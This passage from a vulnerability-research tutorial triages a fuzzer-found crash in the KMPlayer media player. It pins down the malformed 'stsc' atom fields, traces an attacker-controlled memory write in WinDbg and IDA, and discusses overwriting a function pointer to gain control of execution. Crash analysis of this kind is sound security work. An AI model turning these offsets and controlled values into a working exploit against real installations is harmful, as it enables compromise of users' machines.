"data\_1\_output\_WriteFile\_fileName.txt" file.

Once both files are open, we can begin the diff process.  Inside the 010
Binary Editor, go to “Tools”, then “Compare Files” \(or CTRL+M\).  Ensure that
the "Comparison Type" is set to binary.

<img src='img/Temp2_7063.png' width='395' height='457' alt='010-Diff-1' />

Now that we’ve compared our mutated file against our seed file, we can see
that 2 block changes have been made at offsets 0×308 and 0x3BE.  If you’re
familiar with the MPEG4 or QuickTime file formats, you may have noticed that
both of these changes occur within the ‘stsc’ container, or atom.

If this is your first time working with either of these formats, I recommend
downloading a copy of the file format specification which you can find here . 
We’ll be referencing this document later on.

Before we attempt to identify which mutated bytes are responsible for our
exception, let’s take a look at the structure of the ‘stsc’ atom so we can see
which elements have been mutated.

On page 110 of the QuickTime File Format Specification \(qtff.pdf\), we see a
diagram of the “stsc” atom.  Here it specifies several static byte fields
\(for a sum of 16 bytes\) followed by a variable length field, the sample-to-
chunk table.  The sample-to-chunk table consists of any number of arrays
containing 3, 4 byte fields.  These 3 fields are used to specify the number of
the chunk, number of samples per chunk, and the sample description ID
associated with the sample in question.  With this information, we can begin
to break down the stsc atom.

[code]

    Size:  0x0000022C 
    Type:  0x73747363 (ASCII stsc) 
    Version:  0x63 
    Flags:  0x000000 
    Number of Entries: 0x0000002D 
    Sample-to-Chunk Entry(1):  0x00000001 0x00000008 0x00000001 
    Sample-to-Chunk Entry(2):  0x00000002 0x00000007 0x00000001 
    Sample-to-Chunk Entry(3):  0x00000003 0x00000009 0x00000001 
    Sample-to-Chunk Entry(4):  0x00000004 0x00000006 0x00000001 
    Sample-to-Chunk Entry(5):  0x00000005 0x00000009 0x00000001 
    Sample-to-Chunk Entry(6):  0x00000006 0x00000006 0x00000001 
    Sample-to-Chunk Entry(7):  0x00000007 0x00000008 0x00000001 
    Sample-to-Chunk Entry(8):  0x00000008 0x00000007 0x00000001 
    Sample-to-Chunk Entry(9):  0x00000009 0x00000009 0x00000001 
    Sample-to-Chunk Entry(10):  0x0000000A 0x00000006 0x00000001 
    **Sample-to-Chunk Entry(11):  0x000000F1 0xA999FF0F 0x72835701** 
    Sample-to-Chunk Entry(12):  0x0000000C 0x00000006 0x00000001 
    Sample-to-Chunk Entry(13):  0x0000000D 0x00000008 0x00000001 
    Sample-to-Chunk Entry(14):  0x0000000E 0x00000007 0x00000001 
    Sample-to-Chunk Entry(15):  0x0000000F 0x00000008 0x00000001 
    Sample-to-Chunk Entry(16):  0x00000010 0x00000007 0x00000001 
    Sample-to-Chunk Entry(17):  0x00000011 0x00000009 0x00000001 
    Sample-to-Chunk Entry(18):  0x00000012 0x00000006 0x00000001 
    Sample-to-Chunk Entry(19):  0x00000013 0x00000008 0x00000001 
    Sample-to-Chunk Entry(20):  0x00000014 0x00000007 0x00000001 
    Sample-to-Chunk Entry(21):  0x00000015 0x00000009 0x00000001 
    Sample-to-Chunk Entry(22):  0x00000016 0x00000006 0x00000001 
    Sample-to-Chunk Entry(23):  0x00000017 0x00000009 0x00000001 
    Sample-to-Chunk Entry(24):  0x00000018 0x00000006 0x00000001 
    Sample-to-Chunk Entry(25):  0x00000019 0x00000008 0x00000001
[/code]

  
**Sample-to-Chunk Entry\(26\): 0x0000001A 0×00363587 0xAAADFC75 Sample-to-
Chunk Entry\(27\): 0xA900001B 0×00000009 0×00000001**

[code]

     
    [...truncated...] 
    ***Please note, the entries listed in bold contain mutated data.
[/code]

With this we can see that our two block changes have been applied to 7 fields
across 3 Sample-to-Chunk entries.

  * The first block change has modified the “chunk number”, “number of samples per chunk” and “sample description ID” in the 11th sample-to-chunk entry.  The values have been mutated from 0x0000000B, 0×00000009, 0×00000001 to 0x000000F1, 0xA999FF0F, 0×72835701 respectively.
  * Our second block change has been applied to the “chunk number” for both the 26th and 27th sample-to-chunk entries as well as the “number of samples per chunk” and “sample description ID” for the 32nd sample-to-chunk entry.

<img src='img/Temp2_7051.png' width='600' height='640' alt='010-Diff-5' />

Now in order to identify which bytes are responsible for triggering the
exception we’ll need to incrementally revert portions of our changes back to
the original values found in the seed file.  We’ll begin by reverting the
first element \(1 byte change\) in our first block at offset 0×308.  Here
we’ll be changing the value 0xf1 to 0x0B0. Go ahead and save these changes but
make sure to change the extension to .MOV so that the KMPlayer application
recognizes it as a media file.

Once you’ve saved your changes, open up KMPlayer.exe in WinDbg, using the
filename as an argument, and observe the changes.  You can call WinDbg from
the command line like so:

[code]

    windbg.exe "C:\Program Files\The KMPlayer\KMPlayer.exe" "C:\Path-To\MutatedSeed.mov
[/code]

> \*\*\*Please note that for all  examples, we’ll be providing the mutated
> file as a command line argument rather than attaching to the KMPlayer.exe
> process and opening the file manually.  This is important as it may affect
> certain addresses used throughout the course of this article.
<img src='img/Temp2_7024.png' width='644' height='151' alt='windbg-0' />

From the WinDbg output shown above, we can see that a read access violation
did occur at the same address; however some of our registry values have
changed.  This may be normal as some registry values, depending on their
context, are accessed from dynamically allocated regions in memory.  Although
it’s important to note that the registry values used for the faulting
instruction remain the same.  With that said, it appears that reverting this
element back to the value found in our seed file does not have an immediate
affect on our exception.

Let’s continue by modifying the next element \(4 byte change\) and observing
the changes in WinDbg.  Here, we’ll be changing 0xA999FF0F to 0×00000009
starting at offset 0×309.

<img src='img/Temp2_7041.png' width='644' height='153' alt='windbg-1' />

Excellent.  Once again, it appears that these bytes do not have an effect on
our exception.

Finally, let’s go ahead and revert our third element beginning at 0x30D from
0×72835701 to 0×00000001.

<img src='img/Temp2_7041.png' width='644' height='153' alt='windbg-1' />

As with the others, we can see that this change has had no effect on our
faulting instruction.

Moving on, let’s take a look at our second block change.  Here we notice that
our “number of samples per chunk” and “sample description ID” values have been
mutated from 0×00000007 and 0×00000001 to 0×00363587 and 0xAAADFC75
respectively.  What’s interesting about these values?  Well if you look
closely, the last 4 bytes of our mutated string appears to be the reverse byte
order of the value found in both the esi and edi registers at the time of our
exception.

[code]

    eax=0000004b ebx=00000019 ecx=0000353b edx=00009fb1 **esi=aaadfc75 edi=aaadfc75**
[/code]

<img src='img/Temp2_7022.png' width='644' height='52' alt='010-Diff-2' />

This is a good sign as it appears that we can directly influence the value of
these registers and therefore the address of our read operation. To validate
that we can in fact control these registers, let’s go ahead and change these 4
bytes \(0xAAADFC75\) to 0×41414141 and observe the changes in WinDbg.

<img src='img/Temp2_7020.png' width='644' height='152' alt='windbg-3' />

Excellent.  Here we can see that in fact we do have arbitrary control over
both the esi and edi registers, which in turn allows us to control the
faulting instruction.

As we had done previously with our first block change, let’s go ahead and
begin reverting bytes back to those values found in our original seed file in
order to determine which are necessary to replicate the fault.

We’ll begin by reverting our first element, 0×00363587 back to the original
value of 0×00000007.  Then save the changes and open it in our debugger.

<img src='img/Temp2_7020.png' width='644' height='152' alt='windbg-3' />

Interesting.  Here we can see that this block has no affect on our exception. 
Since we’ve already demonstrated that the next 4 bytes provide us with
arbitrary control over the esi and edi registers, we’ll go ahead and leave
them as they are for the time being.  Let’s move right along to the final
block.  Here we’ll be changing 0xA900001B to 0x0000001B.

<img src='img/Temp2_7047.png' width='644' height='142' alt='windbg-4' />

Now we’re getting somewhere.  It appears that by reverting our final block
element that the access violation has changed.  Furthermore, we notice that
our modified value of 0×41414141 does not appear in any of the registers.  In
some cases, this exception might deserve further investigation.   However, for
the purpose of this article, let’s investigate the cause of our original
exception.  Let’s undo our final block change and save the file.

So let’s reiterate what we’ve done:

  * We’ve identified 2 block changes beginning at 0×308 and 0x3BE respectively.
  * The first block change had no affect on our faulting instruction.
  * The second block change spanned 3 elements within the sample to chunk table within the “stsc” atom;  the “samples per chunk”, “sample description ID”, and the “chunk number”.
  * The “samples per chunk” element appeared to have no affect on our faulting instruction.
  * The values assigned to the “sample description ID” were found in both the esi and edi registers at the time of exception.
  * And finally, the mutated value found in the “chunk number” field was required in order to trigger the exception.



### Reversing the Faulty Function

Now that we’ve identified the minimum change required in order to trigger the
exception, let’s take a look at the function where the exception occurs.  I’ll
be using IDA Pro to disassemble the application and analyze the function.

You can download an evaluation version of IDA Pro here .

Once in IDA, go ahead and disassemble the KMPlayer.exe binary.  Next, we’ll go
ahead and jump to the location of the exception.  Hit “g” in order to open the
“Jump to address” window, enter the address of the exception \(005EF527\) and
hit enter.



<img src='img/Temp2_7026.png' width='300' height='367' alt='ida-1' />



Now that we have the ability to observe the entire function, let’s go ahead
and apply what we know using only the data that we’ve collected from our
debugger at fault time.  This will help us better visualize the process.



<img src='img/Temp2_7053.png' width='503' height='373' alt='ida-2' />



Using the information from our crash dump we know that the application
triggers an access violation at 0x005EF527 \(**push dword ptr
\[esi+eax\*4+4\]**\).  At that time, the edi and esi registers are equal to
0×41414141.  So from that, we can make a few assumptions on the state of the
registers at instructions leading up to our exception.  What’s important to
note, is that prior to our exception, we can see that the value contained in
EDI \(0×41414141\) is being written to an arbitrary location as defined by the
following instruction:

[code]

    mov     [esi+edx*8+8], edi
[/code]

Furthermore, we note that beyond our faulting instruction the ecx register is
compared against a valued stored at an offset of ebp.  If the value of ecx is
below the dword pointer of ebp-0x0C then the following jump is taken and the
function is iterated over again.

Without knowing what the value is at ebp-0x0C, we won’t know for sure if the
jump is taken.  Making these kind of observations are best done in the
debugger.  So let’s fire up our debugger again.  This time, instead of running
the application until our fault occurs, let’s set a conditional breakpoint at
the following instruction when edi is tainted with our value of 0×41414141.

[code]

    005EF50F    push    dword ptr [esi+eax*4+8] ; 0x41414141
[/code]

  
To set the conditional breakpoint, start the KMPlayer.exe process in WinDbg. 
At the program entry point, enter the following command:

[code]

    bp 005EF50F ".if (poi(esi+eax*4+8) == 0x41414141) {} .else {gc}"
[/code]

Next, tell WinDbg to continue until our breakpoint is hit \(type "g" and press
return\).

<img src='img/Temp2_7025.png' width='673' height='154' alt='windbg-5' />

When the breakpoint gets hit, we can see that the application is taking our
value of 0×41414141 from the address 0x21DF604 and pushing it onto the stack. 
This value will later become edi.  There are a few important things to note
from this data.  First, edi previously was set to 0×00000001 which is the
value of our description ID from the previous sample-to-chunk entry.  Also,
ecx is set to 0×00000019 which appears to be the value of the chunk number
also specified in the previous sample-to-chunk entry.  This is good as it
helps solve at least half of our requirement to determine whether or not the
jump is taken at the end of our function.

As no other instruction in this function manipulates ebp, we can go ahead and
dump the value at ebp-0x0C to determine if our loop will be run again.

In WinDbg run the following command:

[code]

    d ebp-0c
[/code]

<img src='img/Temp2_7046.png' width='367' height='121' alt='windbg-6' />

Interesting.  So here we can see that the dword located at ebp-0x0C is
0xA900001A.  This is the exact value of the chunk number element in the
following sample-to-chunk entry.  As such, we now have full control over this
pointer meaning that we can control how many times our loop is taken.  With
the current value of ecx equal to 0×19 and ebp-0x0C equal to 0xA900001B, our
loop will occur 0xA9000002 \(2835349506\) times.  This may not seem very
important just yet, but we’ll get to that shortly.

Looking back at our function, we can see that there are two writes occurring:

[code]

    005EF51D                 mov     [esi+edx*8+8], edi 
    005EF532                 mov     [eax+edx*8+4], esi
[/code]

  
The first instruction, since we control edi, allows us to control what is
being written.  We don’t yet know what the value of esi is during our second
write so the effect of this instruction is unknown.  Let’s go ahead and
restart the application within WinDbg.  This time we’ll set the following
breakpoint to break at the start of the block where our tainted data first
occurs.

[code]

    bp 005EF506".if (@ecx == 0x00000019) {}; .else {gc}"
[/code]

Next, we’ll trace into the function until the end of our block:

[code]

    **ta 005EF53A** 
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=021df4d0 esi=021df4d0 edi=00000001 
    eip=005ef513 esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef513: 
    **005ef513 8d1449 lea edx,[ecx+ecx*2]**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=021df4d0 edi=00000001 
    eip=005ef516 esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef516: 
    **005ef516 8b75fc mov esi,dword ptr [ebp-4] ss:0023:02c6f558=016525d0**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=016525d0 edi=00000001 
    eip=005ef519 esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef519: 
    **005ef519 8b7668 mov esi,dword ptr [esi+68h] ds:0023:01652638=01559d40**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=01559d40 edi=00000001 
    eip=005ef51c esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef51c: 
    **005ef51c 5f pop edi**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=01559d40 edi=41414141 
    eip=005ef51d esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef51d: 
    **005ef51d 897cd608 mov dword ptr [esi+edx*8+8],edi ds:0023:01559fa0=00000000**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=01559d40 edi=41414141 
    eip=005ef521 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef521: 
    **005ef521 8b75fc mov esi,dword ptr [ebp-4] ss:0023:02c6f558=016525d0**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=016525d0 edi=41414141 
    eip=005ef524 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef524: 
    **005ef524 8b7670 mov esi,dword ptr [esi+70h] ds:0023:01652640=021df4d0**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=021df4d0 edi=41414141 
    eip=005ef527 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef527: 
    **005ef527 ff748604 push dword ptr [esi+eax*4+4] ds:0023:021df600=00000007**
    
    eax=0000004b ebx=00000019 ecx=00000019 edx=0000004b esi=021df4d0 edi=41414141 
    eip=005ef52b esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef52b: 
    **005ef52b 8b45fc mov eax,dword ptr [ebp-4] ss:0023:02c6f558=016525d0**
    
    eax=016525d0 ebx=00000019 ecx=00000019 edx=0000004b esi=021df4d0 edi=41414141 
    eip=005ef52e esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef52e: 
    **005ef52e 8b4068 mov eax,dword ptr [eax+68h] ds:0023:01652638=01559d40**
    
    eax=01559d40 ebx=00000019 ecx=00000019 edx=0000004b esi=021df4d0 edi=41414141 
    eip=005ef531 esp=02c6f50c ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef531: 
    **005ef531 5e pop esi** 
    
    **eax=01559d40 ebx=00000019 ecx=00000019 edx=0000004b esi=00000007 edi=41414141** 
    eip=005ef532 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef532: 
    **005ef532 8974d004 mov dword ptr [eax+edx*8+4],esi ds:0023:01559f9c=00000000**
    
    eax=01559d40 ebx=00000019 ecx=00000019 edx=0000004b esi=00000007 edi=41414141 
    eip=005ef536 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz ac pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000217 image00400000+0x1ef536: 
    **005ef536 41 inc ecx**
    
    eax=01559d40 ebx=00000019 ecx=0000001a edx=0000004b esi=00000007 edi=41414141 
    eip=005ef537 esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz na po cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000203 image00400000+0x1ef537: 
    **005ef537 3b4df4 cmp ecx,dword ptr [ebp-0Ch] ss:0023:02c6f550=a900001a**
    
    eax=01559d40 ebx=00000019 ecx=0000001a edx=0000004b esi=00000007 edi=41414141 
    eip=005ef53a esp=02c6f510 ebp=02c6f55c iopl=0 nv up ei pl nz na pe cy 
    cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207 
    image00400000+0x1ef53a: 
    005ef53a 72ca jb image00400000+0x1ef506 (005ef506) [br=1]
[/code]

Here we can see that the value of esi at the time of our second write, at
005EF532, is set to 0×00000007.  This is interesting as this is the same value
as the number of samples per chunk in our sample-to-chunk entry.  If that’s
the case, it appears the we also control esi at the time of our write.  Let’s
go ahead and modify this value to 0×42424242 in our mutated file.

<img src='img/Temp2_7034.png' width='598' height='247' alt='010-Diff-6' />

One we’ve made our changes, let’s save the file and run it again in WinDbg. 
This time, we’ll set a conditional breakpoint at our second write instruction
\(0x005EF532\) where we check that the value of ecx is 0×00000019 \(the same
iteration in our loop where our tainted value of edi==0×41414141 occurs\).

The conditional breakpoint should look like the following:

[code]

    bp 005EF532 “.if (@ecx == 0x00000019) {} .else {gc}”
[/code]

<img src='img/Temp2_7042.png' width='644' height='136' alt='windbg-7' />

Excellent\!  So we now control the values supplied to both of our writes as
well as the number of times the loop occurs.

The next thing we need to determine is where these addresses will be written
over the course of our loop.  Let’s go ahead and set the following conditional
breakpoints to output the value and location of our 2 write instructions.

For readability, I’ve also set a 3rd breakpoint to limit the output to only 10
entries each.

[code]

    bp 005EF51D ".if (@edi == 0x41414141) {.printf \"edi==%p written to %p\\n\", edi, (esi+edx*8+8); gc} .else {gc}"
    bp 005EF532 ".if (@esi == 0x42424242) {.printf \"esi==%p written to %p\\n\", esi, (eax+edx*8+4); gc} .else{gc}"
    bp 005EF50F 11 ".if (poi(esi+eax*4+8) == 0x41414141) {} .else {gc}"
[/code]

\*\*\*Please note, that the addresses of each write may be different for you. 
More on this in a bit.

<img src='img/Temp2_7043.png' width='219' height='364' alt='windbg-8' />

With our breakpoints set, we can see that our data is being written in 24 byte
blocks.  The first 4 bytes containing our value of esi, the next 4 containing
the value of edi, and the following 16 bytes remain untouched.

To verify this we can use the dd command.

<img src='img/Temp2_7054.png' width='383' height='130' alt='windbg-9' />

Theoretically, these blocks will continue to be written until our jump
condition is met \(@ecx == 0xa9000002\).  That is, unless until something else
goes wrong.  Let’s take another look at our faulting instruction.  Restart the
debugger and run the process until the access violation occurs.

<img src='img/Temp2_7049.png' width='671' height='130' alt='windbg-10' />

Now this where things start to get interesting.  Take a look at the value
contained in ecx.  At crash time, ecx is equal to 0x0000A5B5; far less than
the value we provided \(0xA9000002\).  It appears that somehow our tainted
value is being stored in esi during our push instruction.  Because of this,
the push instruction attempts to read from an invalid address.

Why is this happening? To get a better understanding, let’s once again set
some breakpoints and follow the flow of execution in our debugger.

First, we’ll set the following breakpoint.  Once again, this will ensure that
we break at the start of our tainted data in the vulnerable function.

[code]

    bp 005EF506 ".if (@ecx == 0x00000019) {} .else {gc}"
[/code]

  
Once that breakpoint is hit, let’s go ahead and change it so that it breaks
when ecx == 0xa5b5 \(the time of our exception\).

[code]

    bp 005EF506 ".if (@ecx == 0x0000a5b5) {} .else {gc}"
[/code]



<img src='img/Temp2_7040.png' width='660' height='218' alt='windbg-11' />

Now that’s certainly not the behavior we expected\!  While this call certainly
looks like it’s game over, you may draw the wrong conclusions if you don’t
take the time to understand what’s exactly going on.

What’s happening in this case is that our conditional breakpoint is causing
our block iterations to go slower than usual.  Consider this: with our
conditional breakpoint set, WinDbg needs to check the value of ecx at each
iteration before continuing execution.  This adds a considerable delay when
processing our data.  And since KMPlayer.exe makes use of multiple threads,
another thread begins processing the same block of data we’re writing to prior
to the completion of our block function.  This is because KMPlayer does not
make use of thread safety .

In order to confirm this, we can check which thread is being used at the start
of our function and which thread is in use at the time of our exception.

To list the current thread in WinDbg, you can use the following command:

[code]

    ~#
[/code]

<img src='img/Temp2_7033.png' width='650' height='324' alt='windbg-12' />

As you can see from the output above, the thread active at the time of our
initial breakpoint is thread 7 \(ID bb0.834\) while the thread ID of our call
instruction is 0 \(ID bb0.3f4\).

This of course is problematic as it prevents us from setting breakpoints
leading up to our exception. However, we can work passed this issue by
freezing all other active threads.

First, we’ll the following breakpoint to land us at the start of our function.

[code]

    bp 005EF506 ".if (@ecx == 0x00000019) {} .else {gc}"
[/code]

  
Once that breakpoint is hit, we’ll set another breakpoint to halt execution
just prior to our access violation.

[code]

    bp 005EF506 ".if (@ecx == 0x0000a5b5) {} .else {gc}"
[/code]

  
And finally, we’ll instruct WinDbg to only execute instructions allocated to
thread 7.

[code]

    ~7 g
[/code]

  
Once we land at the beginning of our block, use the ‘ta’ command to trace the
instructions.

[code]

    eax=01579d40 ebx=00000019 ecx=0000a5b5 edx=0001f11c esi=42424242 edi=41414141
    eip=005ef506 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef506:
    **005ef506 8d045b          lea     eax,[ebx+ebx*2]** 
    0:007> ta
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11c esi=42424242 edi=41414141
    eip=005ef509 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef509:
    **005ef509 8b75fc          mov     esi,dword ptr [ebp-4] ss:0023:02e5f558=016725d0** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11c esi=016725d0 edi=41414141
    eip=005ef50c esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef50c:
    **005ef50c 8b7670          mov     esi,dword ptr [esi+70h] ds:0023:01672640=021ff4d0** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11c esi=021ff4d0 edi=41414141
    eip=005ef50f esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef50f:
    **005ef50f ff748608        push    dword ptr [esi+eax*4+8] ds:0023:021ff604=41414141** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11c esi=021ff4d0 edi=41414141
    eip=005ef513 esp=02e5f50c ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef513:
    **005ef513 8d1449          lea     edx,[ecx+ecx*2]** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=021ff4d0 edi=41414141
    eip=005ef516 esp=02e5f50c ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef516:
    **005ef516 8b75fc          mov     esi,dword ptr [ebp-4] ss:0023:02e5f558=016725d0** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=016725d0 edi=41414141
    eip=005ef519 esp=02e5f50c ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef519:
    **005ef519 8b7668          mov     esi,dword ptr [esi+68h] ds:0023:01672638=01579d40** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=01579d40 edi=41414141
    eip=005ef51c esp=02e5f50c ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef51c:
    **005ef51c 5f              pop     edi** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=01579d40 edi=41414141
    eip=005ef51d esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef51d:
    **005ef51d 897cd608        mov     dword ptr [esi+edx*8+8],edi ds:0023:01672640=021ff4d0** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=01579d40 edi=41414141
    eip=005ef521 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef521:
    **005ef521 8b75fc          mov     esi,dword ptr [ebp-4] ss:0023:02e5f558=016725d0** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=016725d0 edi=41414141
    eip=005ef524 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef524:
    **005ef524 8b7670          mov     esi,dword ptr [esi+70h] ds:0023:01672640=41414141** 
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=41414141 edi=41414141
    eip=005ef527 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
    image00400000+0x1ef527:
    **005ef527 ff748604        push    dword ptr [esi+eax*4+4] ds:0023:41414271=????????** 
    (135c.1608): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0000004b ebx=00000019 ecx=0000a5b5 edx=0001f11f esi=41414141 edi=41414141
    eip=005ef527 esp=02e5f510 ebp=02e5f55c iopl=0         nv up ei pl nz ac po cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010213
    image00400000+0x1ef527:
    **005ef527 ff748604        push    dword ptr [esi+eax*4+4] ds:0023:41414271=????????**
[/code]

With our trace completed we can easily identify why our fault occurs.  Looking
at the write that occurs directly before our access violation \(0x005EF51D\),
we can see we’re attempting to write the value contained in edi \(0×41414141\)
to 0×01672640.  Next we can see that just prior to our access violation
\(0x005EF524\) we’re attempting to read the value located at that address
\(0×41414141\) and store it in esi.  This in turn causes us to read from a
non-existent address.

Now why exactly is this occurring?  The cause of our fault is directly related
to the data we’re writing and where we’re writing it to.  As we discussed
earlier, our writes will begin at a location defined by the application and
occur in 24 byte blocks.  In the execution above\*\*\*, our first write began
at  0x01579F9C and as we’ve already seen, our push instruction attempts to
read from 0×0167264.  And since our push read address and starting write
address are adjacent and part of the same memory allocation, after 42,396
iterations \(0xa59c\) our supplied value to esi will be overwritten.

> \*\*\*It’s important to note that these addresses are defined dynamically
> and the actual read and write address will not be the same in all cases.


### Determining Exploitability

So now that we understand the cause of our exception, let’s reiterate what
we’ve learned.

  * We can supply arbitrary values to both the esi and edi registers \(“number of samples per chunk” and the “sample description ID” elements respectively\).  This allows us to control what data is being written.
  * We control the value supplied as the loop counter.  This allows us to overwrite large portions of memory and potentially overwrite semi-arbitrary locations in memory.
  * The use of debugger breakpoints will slow down the execution, potentially changing context and memory state.

With these conditions in our control, there are actually a number of ways we
may be able to exploit this issue.

#### Overwriting Function Pointers

As we had seen in our previous example, when writing large portions of our
block data in memory, corruption of the esi register during the push
instruction occurs well before our jump condition is met.  If we look closely
at both our push and write instructions we can see that the value used to
calculate the location of the read in the case of push, and location of our
write are initially determined by the value located at ebp-4.  Then, an offset
of this value determines the location of the read and write.  Both push
instructions use an offset of 0×70 whereas both write instructions use an
offset of 0×68.  This would essentially look like the following:

For push instructions:

[code]

    poi(poi(ebp-4)+0x70)
[/code]

  
For write instructions:

[code]

    poi(poi(ebp-4)+0x68)
[/code]

Now we already know know that we can influence the value located at
poi\(poi\(ebp-4\)+0×70\).  The general idea here is that if we can control the
value of poi\(poi\(ebp-4\)+68\), then we can arbitrarily write 4 or more bytes
of our data to any address we please.  If we can overwrite a function pointer
that get’s called after our block, then we can control the instruction
pointer.  This is a very generic exploitation practice; one that proves to be
fairly simple and reliable.

With that said, let’s take a look at the memory segment which contain the
values used in our push \(esi+0×70\) and write \(esi+0×68\) instructions.

<img src='img/Temp2_7048.png' width='372' height='246' alt='windbg-15' />

> Please note that the screenshot above was taken after our exception has
> occurred.
Here we can see that esi during our push instruction is taken from 0×1652640
\(0×41414141\) and esi during our first write instruction is taken from
0×01652638 \(0x1559d40\).  Take notice of the value 0×41414141.  This value
was initially placed here during our edi write instruction.  It is also
responsible for our faulting instruction as esi, used to calculate the address
used during our push instruction, reads from this location.

It’s also important to note that one of the values used as for our write
instruction resides only 8 bytes away from one of the values used for our push
instruction \(which we’ve already overwritten\).  If we can manage to shift
the offset of our writes to begin at least 8 bytes earlier \(or 8 bytes
later\) we can manage to overwrite this address allowing us to control the
location of our write.

Now, there’s nothing directly evident in the disassembly that suggests we can
do so.  The value located at esi+68 prior to our first write location is
originally set at 0x005f2b24 and it does not appear that we have the ability
